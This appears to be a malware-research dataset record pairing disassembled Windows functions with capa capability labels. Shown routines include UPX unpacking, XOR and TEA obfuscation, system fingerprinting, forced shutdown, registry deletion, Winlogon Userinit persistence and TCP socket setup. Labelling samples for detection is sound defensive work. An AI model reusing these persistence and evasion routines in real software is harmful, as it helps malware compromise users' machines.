joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d9d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc000]
push edi
or ebp, 0xffffffff
jmp 0x40d9f2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40d9f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40d9e8
mov eax, 1
add ebx, ebx
jne 0x40da0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40da00
jne 0x40da1c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40da00
xor ecx, ecx
sub eax, 3
jb 0x40da30
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40daa2
mov ebp, eax
add ebx, ebx
jne 0x40da3b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40da48
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40da6c
inc ecx
add ebx, ebx
jne 0x40da58
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40da4d
jne 0x40da69
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40da4d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40da8c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40da7d
jmp 0x40d9ee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40da8c
add edi, ecx
jmp 0x40d9ee
pop esi
mov edi, esi
mov ecx, 0x29
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40daaa
cmp byte [edi], 0
jne 0x40daaa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40daaf
lea edi, [esi + 0xb000]
mov eax, dword [edi]
or eax, eax
je 0x40db27
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd050]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40dadc
mov ecx, edi
jns 0x40db0b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd054]
or eax, eax
je 0x40db21
mov dword [ebx], eax
add ebx, 4
jmp 0x40daf9
call dword [esi + 0xd064]
mov ebp, dword [esi + 0xd058]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40db5b
sub esp, 0xffffff80
jmp 0x4015f0

Function at 0x40e4b0
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push edi
mov ebx, dword [edi]
mov ecx, dword [edi + 4]
xor eax, eax
mov edx, 0x9e3779b9
mov edi, 0x20
add eax, edx
mov ebp, ecx
shl ebp, 4
add ebx, ebp
mov ebp, dword [esi]
xor ebp, ecx
add ebx, ebp
mov ebp, ecx
shr ebp, 5
xor ebp, eax
add ebx, ebp
add ebx, dword [esi + 4]
mov ebp, ebx
shl ebp, 4
add ecx, ebp
mov ebp, dword [esi + 8]
xor ebp, ebx
add ecx, ebp
mov ebp, ebx
shr ebp, 5
xor ebp, eax
add ecx, ebp
add ecx, dword [esi + 0xc]
dec edi
jne 0x40e4c2
pop edi
mov dword [edi], ebx
mov dword [edi + 4], ecx
ret
Function at 0x40e501
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push edi
mov ebx, dword [edi]
mov ecx, dword [edi + 4]
mov edx, 0x9e3779b9
mov eax, edx
shl eax, 5
mov edi, 0x20
mov ebp, ebx
shl ebp, 4
sub ecx, ebp
mov ebp, dword [esi + 8]
xor ebp, ebx
sub ecx, ebp
mov ebp, ebx
shr ebp, 5
xor ebp, eax
sub ecx, ebp
sub ecx, dword [esi + 0xc]
mov ebp, ecx
shl ebp, 4
sub ebx, ebp
mov ebp, dword [esi]
xor ebp, ecx
sub ebx, ebp
mov ebp, ecx
shr ebp, 5
xor ebp, eax
sub ebx, ebp
sub ebx, dword [esi + 4]
sub eax, edx
dec edi
jne 0x40e516
pop edi
mov dword [edi], ebx
mov dword [edi + 4], ecx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40eaa7
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestEnumTypeTraits.exe_gMozillaPoisonSize], eax
call fcn.0040ae7c
pop ecx
mov ecx, dword [sym.TestEnumTypeTraits.exe_gMozillaPoisonSize]
mov dword [sym.TestEnumTypeTraits.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40eadf
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestEnumTypeTraits.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret

Function at 0x10001930
Capabilities:
Query or enumerate registry value

Disassembly:
cmp dword [0x10007334], 0
jne 0x10001948
mov dword [0x10007334], 1
jmp fcn.10004e04
ret

Function at 0x10001949
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call fcn.10001958

Function at 0x100055c0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x100055d6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x100055f1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
Function at 0x10002cf6
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffedc
push ebx
push edx
push ecx
push edi
push esi
push 0x104
lea eax, [ebp - 0x106]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
or eax, eax
je 0x10002e0f
push 0x3a
push eax
lea eax, [ebp - 0x106]
push eax
call fcn.10002126
or eax, eax
je 0x10002e0f
inc eax
mov byte [eax], 0x5c
inc eax
mov byte [eax], 0
push 0
pop dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
lea eax, [ebp - 0x106]
push eax
call sub.kernel32.dll_GetVolumeInformationA
mov edx, dword [ebp - 0x10c]
push 0xffffffffffffffff
push edx
call fcn.10002cbc
add eax, dword [ebp + 8]
mov dword [ebp - 0x124], eax
push 0xffff
push edx
call fcn.10002cbc
movzx eax, ax
mov dword [ebp - 0x120], eax
push 0xffff
push edx
call fcn.10002cbc
movzx eax, ax
mov dword [ebp - 0x11c], eax
push 0xffff
push edx
call fcn.10002cbc
movzx eax, ax
mov dword [ebp - 0x118], eax
push 0xffffffffffffffff
push edx
call fcn.10002cbc
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x114], eax
push 0xffff
push edx
call fcn.10002cbc
movzx eax, ax
mov dword [ebp - 0x110], eax
push dword [ebp - 0x110]
push dword [ebp - 0x114]
push dword [ebp - 0x118]
push dword [ebp - 0x11c]
push dword [ebp - 0x120]
push dword [ebp - 0x124]
push str._08X__04X__04X__04X__08X_04X
push dword [ebp + 0x10]
call sub.user32.dll_wsprintfA
add esp, 0x20
pop esi
pop edi
pop ecx
pop edx
pop ebx
leave
ret 0xc

Function at 0x10002e5f
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push 1
push 0
call sub.kernel32.dll_CreateMutexA
mov ebx, dword [ebp + 0x10]
mov dword [ebx], eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x10002e8e
push dword [ebp + 0x10]
call fcn.10002e3b
mov eax, 0
jmp 0x10002ea1
cmp dword [ebp + 0xc], 1
jne 0x10002e9c
push dword [ebp + 0x10]
call fcn.10002e3b
mov eax, 1
leave
ret 0xc
Function at 0x10002f4c
Capabilities:
Get disk information
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd34
mov edi, dword [ebp + 8]
mov byte [edi], 0
lea eax, [ebp - 0x200]
push eax
push 0x200
call sub.kernel32.dll_GetLogicalDriveStringsA
lea esi, [ebp - 0x200]
mov ecx, 8
cmp byte [esi], 0
je 0x10002fd2
push ecx
push esi
push esi
call sub.kernel32.dll_GetDriveTypeA
pop esi
cmp eax, 3
jne 0x10002fc6
push esi
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x238]
push eax
push 0
push 0
push esi
call sub.kernel32.dll_GetVolumeInformationA
lea eax, [ebp - 0x232]
push eax
push dword [ebp - 0x238]
call fcn.100029ef
lea eax, [ebp - 0x232]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
pop esi
push esi
call fcn.100021a0
add esi, eax
inc esi
pop ecx
loop 0x10002f77
push dword [ebp + 8]
call sub.kernel32.dll_lstrlenA
or eax, eax
jne 0x10003019
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x238]
push eax
push 0
push 0
push 0
call sub.kernel32.dll_GetVolumeInformationA
lea eax, [ebp - 0x232]
push eax
push dword [ebp - 0x238]
call fcn.100029ef
lea eax, [ebp - 0x232]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
mov eax, 0x94
mov dword [ebp - 0x2cc], eax
lea eax, [ebp - 0x2cc]
push eax
call sub.kernel32.dll_GetVersionExA
or eax, eax
je 0x10003097
lea eax, [ebp - 0x232]
push eax
push dword [ebp - 0x2c0]
call fcn.100029ef
lea eax, [ebp - 0x232]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
lea eax, [ebp - 0x232]
push eax
push dword [ebp - 0x2c8]
call fcn.100029ef
lea eax, [ebp - 0x232]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
lea eax, [ebp - 0x232]
push eax
push dword [ebp - 0x2c4]
call fcn.100029ef
lea eax, [ebp - 0x232]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
push 0xa
lea eax, [ebp - 0x232]
push eax
push 0xa
push 0x400
call sub.kernel32.dll_GetLocaleInfoA
or eax, eax
je 0x100030bf
lea eax, [ebp - 0x232]
push eax
push dword [ebp + 8]
call sub.kernel32.dll_lstrcatA
leave
ret 4

Function at 0x100030c3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push 0
pop dword [ebp - 0x10]
lea eax, [ebp - 4]
push eax
push 1
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
jne 0x10003117
push 0
pop dword [ebp - 8]
push 4
pop dword [ebp - 0xc]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA
or eax, eax
jne 0x1000310f
push 1
pop dword [ebp - 0x10]
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
mov eax, dword [ebp - 0x10]
leave
ret 0xc
Function at 0x10003245
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push 0
pop dword [ebp - 4]
push 0
pop dword [ebp - 8]
mov ebx, 8
or ebx, 0x20019
or ebx, 0x20006
lea eax, [ebp - 8]
push eax
push ebx
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
jne 0x10003309
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0
push dword [ebp - 8]
call sub.advapi32.dll_RegQueryInfoKeyA
or eax, eax
jne 0x10003309
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x10003301
mov dword [ebp - 4], eax
push dword [ebp - 0x10]
pop dword [ebp - 0x14]
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
push 0
push dword [ebp - 8]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
jne 0x100032ee
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.10003245
jmp 0x100032bc
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegDeleteKeyA
push dword [ebp - 4]
call sub.kernel32.dll_GlobalFree
push dword [ebp - 8]
call sub.advapi32.dll_RegCloseKey
leave
ret 8

Function at 0x1000330d
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0
pop dword [ebp - 8]
push str.SeShutdownPrivilege
call fcn.100031db
push str.NtShutdownSystem
push str.ntdll.dll
call fcn.1000311e
or eax, eax
je 0x10003342
push 2
call eax
or eax, eax
jne 0x10003342
push 1
pop dword [ebp - 8]
cmp dword [ebp - 8], 0
jne 0x10003365
mov eax, 1
or eax, 4
mov ebx, 0x20000
or ebx, 3
or ebx, 0x80000000
push ebx
push eax
call sub.user32.dll_ExitWindowsEx
leave
ret
Function at 0x10003367
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push esi
push 0xa7
push dword [ebp + 8]
call fcn.10001a2c
mov eax, 0xa7
cmp eax, 0x9c
jb 0x10003450
mov esi, dword [ebp + 8]
push 0x9c
pop dword [esi]
push dword [ebp + 8]
call sub.kernel32.dll_GetVersionExA
mov dword [ebp - 0x28], eax
or eax, eax
jne 0x100033bf
mov esi, dword [ebp + 8]
push 0x94
pop dword [esi]
push dword [ebp + 8]
call sub.kernel32.dll_GetVersionExA
cmp eax, 0
je 0x10003455
push 0x1000e41c
call sub.kernel32.dll_GetModuleHandleA
mov edx, eax
push str.GetNativeSystemInfo
push edx
call sub.kernel32.dll_GetProcAddress
or eax, eax
je 0x100033e6
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x24]
push eax
call dword [ebp - 0x2c]
jmp 0x100033ef
lea eax, [ebp - 0x24]
push eax
call sub.kernel32.dll_GetSystemInfo
mov esi, dword [ebp + 8]
push word [ebp - 0x24]
pop word [esi + 0xa1]
push dword [ebp - 0xc]
pop dword [esi + 0xa3]
cmp dword [ebp - 0x28], 1
jne 0x10003414
mov al, 1
mov byte [esi + 0x9c], al
push 0x1000e41c
call sub.kernel32.dll_GetModuleHandleA
mov edx, eax
push str.GetProductInfo
push edx
call sub.kernel32.dll_GetProcAddress
or eax, eax
je 0x10003449
mov dword [ebp - 0x2c], eax
mov esi, dword [ebp + 8]
lea eax, [esi + 0x9d]
push eax
push 0
push 0
push dword [esi + 8]
push dword [esi + 4]
call dword [ebp - 0x2c]
mov eax, 1
jmp 0x10003455
mov eax, 0
or eax, eax
jne 0x1000346b
push 0xa7
push dword [ebp + 8]
call fcn.10001a2c
mov eax, 0
pop esi
leave
ret 4
Function at 0x100034b0
Capabilities:
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push dword [ebp + 8]
call sub.kernel32.dll_lstrlenA
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push str.REG_SZ
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExA
cmp dword [ebp - 8], 2
jne 0x100035b3
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
push str.Userinit
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 8]
add eax, 2
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x100035ab
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push 0
push 0
push str.Userinit
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA
or eax, eax
jne 0x100035a3
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.10002893
push dword [ebp - 0xc]
call fcn.1000bec0
push dword [ebp - 0x10]
push dword [ebp + 8]
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.10002320
or eax, eax
jne 0x100035a3
push 0x1000e4dc
push dword [ebp - 0xc]
call sub.kernel32.dll_lstrcatA
push dword [ebp + 8]
push dword [ebp - 0xc]
call sub.kernel32.dll_lstrcatA
push dword [ebp - 0xc]
call sub.kernel32.dll_lstrlenA
push eax
push dword [ebp - 0xc]
push 1
push 0
push str.Userinit
push dword [ebp - 4]
call sub.advapi32.dll_RegSetValueExA
push dword [ebp - 0xc]
call sub.kernel32.dll_GlobalFree
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 4

Function at 0x10003871
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push 0
pop dword [ebp - 0xc]
cmp dword [ebp + 0xc], 0xffffffff
je 0x100038d2
push 0
push dword [ebp + 0xc]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 4], eax
push dword [ebp + 8]
call fcn.100040c5
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.100037ed
cmp eax, 1
jne 0x100038ca
push dword [ebp + 8]
call fcn.100036e2
or edx, edx
je 0x100038ca
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push edx
push dword [ebp + 0xc]
call sub.kernel32.dll_ReadFile
push 1
pop dword [ebp - 0xc]
push dword [ebp + 0xc]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0xc]
leave
ret 8

Function at 0x10003910
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0
pop dword [ebp - 4]
cmp dword [ebp + 0xc], 0xffffffff
je 0x10003960
cmp dword [ebp + 0x10], 4
jne 0x10003935
push 2
push 0
push 0
push dword [ebp + 0xc]
call sub.kernel32.dll_SetFilePointer
push dword [ebp + 8]
call fcn.100036e2
or edx, edx
je 0x10003958
mov ebx, eax
push 0
lea eax, [ebp - 8]
push eax
push ebx
push edx
push dword [ebp + 0xc]
call sub.kernel32.dll_WriteFile
push 1
pop dword [ebp - 4]
push dword [ebp + 0xc]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
leave
ret 0xc
Function at 0x10004151
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc00
lea eax, [ebp - 0x400]
push eax
push 0
push 0x1000e526
push dword [ebp + 8]
call sub.kernel32.dll_GetTempFileNameA
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x100041ae
push eax
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, 0
leave
ret 4
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, 1
leave
ret 4

Function at 0x100041f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push 0
pop dword [ebp - 0xc]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x1000423e
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push 1
pop dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
leave
ret 0xc

Function at 0x10004245
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push 0
pop dword [ebp - 0xc]
push 0
pop dword [ebp - 8]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x100042b5
mov dword [ebp - 4], eax
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x100042a8
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
jmp 0x100042ad
push 0
pop dword [ebp - 8]
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
leave
ret 4

Function at 0x100042e0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 1
push 0
push 0
push dword [ebp + 8]
push 0
push 0
call sub.shell32.dll_ShellExecuteA
leave
ret 4
Function at 0x10004375
Capabilities:
Create directory
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf8
push ebx
push edx
push esi
push edi
push ecx
push 0
pop dword [ebp - 0x408]
push 0
pop dword [ebp - 0x404]
cmp dword [ebp - 0x404], 7
je 0x10004523
mov eax, 0
cmp dword [ebp - 0x404], 0
jne 0x100043ca
push 0x2fc
lea eax, [ebp - 0x400]
push eax
push 0x1000e4e2
call sub.kernel32.dll_ExpandEnvironmentStringsA
dec eax
jmp 0x10004485
cmp dword [ebp - 0x404], 1
jne 0x100043ef
push 0x2fc
lea eax, [ebp - 0x400]
push eax
push str._CommonProgramFiles_
call sub.kernel32.dll_ExpandEnvironmentStringsA
dec eax
jmp 0x10004485
cmp dword [ebp - 0x404], 2
jne 0x10004411
push 0x2fc
lea eax, [ebp - 0x400]
push eax
push str._HOMEDRIVE__HOMEPATH_
call sub.kernel32.dll_ExpandEnvironmentStringsA
dec eax
jmp 0x10004485
cmp dword [ebp - 0x404], 3
jne 0x10004433
push 0x2fc
lea eax, [ebp - 0x400]
push eax
push str._APPDATA_
call sub.kernel32.dll_ExpandEnvironmentStringsA
dec eax
jmp 0x10004485
cmp dword [ebp - 0x404], 4
jne 0x1000444f
push 0x2fc
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
jmp 0x10004485
cmp dword [ebp - 0x404], 5
jne 0x1000446b
push 0x2fc
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
jmp 0x10004485
cmp dword [ebp - 0x404], 6
jne 0x10004485
lea eax, [ebp - 0x400]
push eax
push 0x2fc
call sub.kernel32.dll_GetTempPathA
push eax
lea eax, [ebp - 0x400]
push eax
call fcn.10004349
cmp dword [ebp + 8], 0
je 0x100044a7
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcatA
push 0
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_CreateDirectoryA
lea eax, [ebp - 0x400]
push eax
call fcn.10004151
or eax, eax
jne 0x10004511
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrlenA
add eax, 2
push eax
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x1000450f
mov dword [ebp - 0x408], eax
lea eax, [ebp - 0x400]
push eax
push dword [ebp - 0x408]
call sub.kernel32.dll_lstrcpyA
push dword [ebp - 0x408]
call sub.kernel32.dll_lstrlenA
push eax
push dword [ebp - 0x408]
call fcn.10004349
jmp 0x10004523
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
jmp 0x10004393
mov eax, dword [ebp - 0x408]
pop ecx
pop edi
pop esi
pop edx
pop ebx
leave
ret 4
Function at 0x100046b5
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push ebx
push edx
push esi
push edi
push ecx
cmp dword [ebp + 8], 0
je 0x10004757
mov eax, dword [ebp + 0xc]
inc eax
push eax
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x10004757
mov dword [ebp - 4], eax
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.10001a44
push 2
push 0x1000e529
push dword [ebp + 0xc]
push dword [ebp - 4]
call fcn.100024f9
or eax, eax
je 0x1000474f
inc eax
mov edi, eax
mov esi, dword [ebp - 4]
mov edx, edi
sub edx, esi
cmp edx, 0
je 0x1000474f
push 2
push 0x1000e529
push edx
push esi
call fcn.100024a4
cmp eax, 0
je 0x1000474f
mov esi, eax
mov bl, byte [esi]
mov byte [esi], 0
pushal
push dword [ebp - 4]
call fcn.100021a0
or eax, eax
je 0x10004749
push 0
push dword [ebp - 4]
call sub.kernel32.dll_CreateDirectoryA
popal
mov byte [esi], bl
inc esi
jmp 0x1000470c
push dword [ebp - 4]
call sub.kernel32.dll_GlobalFree
pop ecx
pop edi
pop esi
pop edx
pop ebx
leave
ret 8

Function at 0x10004760
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe70
lea eax, [ebp - 0x18e]
push eax
push 0x101
call sub.ws2_32.dll_WSAStartup
leave
ret

Function at 0x10004782
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ebx
cmp dword [ebp + 8], 0
je 0x100047b9
push dword [ebp + 8]
call sub.ws2_32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x100047be
push dword [ebp + 8]
call sub.ws2_32.dll_gethostbyname
cmp eax, 0
je 0x100047b9
mov eax, dword [eax + 0xc]
cmp eax, 0
je 0x100047b9
mov eax, dword [eax]
cmp eax, 0
je 0x100047b9
mov eax, dword [eax]
jmp 0x100047be
mov eax, 0xffffffff
pop ebx
leave
ret 4

Function at 0x100047c3
Capabilities:
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push 0xffffffffffffffff
pop dword [ebp - 0x14]
push 6
push 1
push 2
call sub.ws2_32.dll_socket
cmp eax, 0xffffffff
je 0x10004850
mov dword [ebp - 0x14], eax
push 1
pop dword [ebp - 0x18]
lea eax, [ebp - 0x18]
push eax
push 0x8004667e
push dword [ebp - 0x14]
call sub.ws2_32.dll_ioctlsocket
push 0x10
lea eax, [ebp - 0x10]
push eax
call fcn.10001a2c
mov word [ebp - 0x10], 2
push dword [ebp + 0xc]
call sub.ws2_32.dll_htons
mov word [ebp - 0xe], ax
push dword [ebp + 8]
call fcn.10004782
cmp eax, 0xffffffff
je 0x1000483e
mov dword [ebp - 0xc], eax
push dword [0x1000e52b]
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
call fcn.10004990
cmp eax, 0xffffffff
jne 0x10004850
push dword [ebp - 0x14]
call sub.ws2_32.dll_closesocket
mov eax, 0xffffffff
pop ebx
leave
ret 8
mov eax, dword [ebp - 0x14]
pop ebx
leave
ret 8

Function at 0x10004968
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call sub.ws2_32.dll_getsockname
mov eax, dword [ebp - 0xc]
movzx ebx, word [ebp - 0xe]
leave
ret 4